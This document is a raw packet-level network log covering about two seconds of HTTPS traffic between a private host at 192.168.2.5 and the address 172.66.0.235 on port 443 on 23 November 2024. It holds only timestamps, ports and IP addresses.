Nov 23, 2024 13:38:10.488764048 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.488778114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.488837957 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.556343079 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.665600061 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.665628910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.665697098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.665723085 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.665751934 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.665795088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.667107105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.667124033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.667195082 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.667210102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.667260885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.669420004 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.669435024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.669492006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.669507027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.669564962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.671080112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.671145916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.671147108 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.671178102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.671210051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.671803951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.671854019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.671866894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.671916962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.673679113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.673696995 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.673747063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.673759937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.673806906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.673806906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.675333023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.675383091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.675405979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.675417900 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.675445080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.677047014 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.677707911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.677723885 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.677791119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.677804947 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.679855108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.679893017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.679960966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.679960966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.679986954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.680689096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.680740118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.680757046 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.680804968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.702313900 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.704596043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.704657078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.704662085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.704797983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.704823971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.715254068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.741240978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.859009981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.859030008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.859102964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.859122038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.859179974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.861157894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.861176968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.861213923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.861227989 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.861255884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.861278057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.862991095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.863004923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.863059044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.863071918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.863121033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.863121033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.865371943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.865391970 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.865430117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.865442038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.865483999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.865503073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.867863894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.867878914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.867932081 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.867945910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.867995024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.869622946 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.869638920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.869697094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.869710922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.869757891 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.870065928 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.871828079 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.871841908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.871891975 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.871906042 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.871957064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.885312080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.896594048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.896610022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.896682978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.896683931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.896701097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:10.896745920 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:10.896912098 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.050789118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.050810099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.050869942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.050887108 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.050924063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.050965071 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.053129911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.053149939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.053195000 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.053208113 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.053244114 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.053263903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.054944038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.054960012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.055017948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.055032015 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.055082083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.057328939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.057344913 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.057435036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.057449102 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.057512999 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.059747934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.059767008 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.059815884 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.059829950 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.059856892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.059875965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.061611891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.061629057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.061687946 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.061702013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.061754942 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.063715935 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.063733101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.063796997 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.063811064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.063862085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.071281910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.088507891 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.088525057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.088651896 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.088669062 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.088727951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.242782116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.242799044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.242880106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.242901087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.242953062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.244617939 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.244631052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.244688034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.244702101 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.244759083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.246973991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.246989965 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.247047901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.247062922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.247122049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.249424934 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.249440908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.249484062 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.249497890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.249526024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.249564886 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.251225948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.251241922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.251327038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.251342058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.251384020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.253604889 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.253619909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.253674984 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.253689051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.253739119 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.255875111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.255889893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.255939960 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.255954981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.255980015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.255996943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.256560087 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.256618977 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.343566895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.433571100 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.433588028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.433660030 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.433729887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.433767080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.433789015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.435239077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.435254097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.435353994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.435372114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.435429096 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.437712908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.437728882 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.437792063 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.437808037 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.437855959 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.439544916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.439560890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.439615965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.439630032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.439685106 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.441946030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.441961050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.442017078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.442032099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.442087889 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.444379091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.444394112 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.444444895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.444458961 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.444487095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.444508076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.446155071 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.446183920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.446223974 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.446238041 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.446286917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.446286917 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.448311090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.448326111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.448376894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.448391914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.448476076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.472327948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.472402096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.472409010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.472439051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.472470045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.507890940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.520323992 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.626636028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.626656055 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.626719952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.626759052 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.626782894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.627394915 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.628794909 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.628810883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.628864050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.628880024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.628921986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.631257057 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.631272078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.631326914 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.631345987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.631409883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.631431103 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.631472111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.633858919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.633873940 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.633920908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.633939981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.636254072 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.636275053 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.636308908 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.636331081 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.636347055 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.638051033 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.638063908 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.638112068 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.638133049 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.640953064 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.640969992 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.641004086 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.641022921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.641040087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.689192057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.694597006 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.707211971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.817611933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.817641020 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.817703962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.817744017 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.817790031 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.819539070 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.819567919 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.819618940 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.819628954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.819667101 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.821966887 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.821983099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.822031021 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.822041035 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.822103024 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.823609114 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.823669910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.823699951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.823733091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.823755026 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.823760033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.823812008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.823818922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.823863029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.826133966 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.826148987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.826193094 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.826201916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.826241016 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.827840090 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.827893019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.827897072 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.827914953 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.827939034 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.830219030 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.830233097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.830301046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.830308914 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.832375050 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.832410097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.832443953 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.832453012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.832477093 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.832581997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.832627058 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.832636118 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:11.832679033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:11.884083986 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.009574890 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.009596109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.009639978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.009687901 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.009706020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.010715008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.011385918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.011401892 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:12.011430979 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:12.011440992 CET	443	49704	172.66.0.235	192.168.2.5
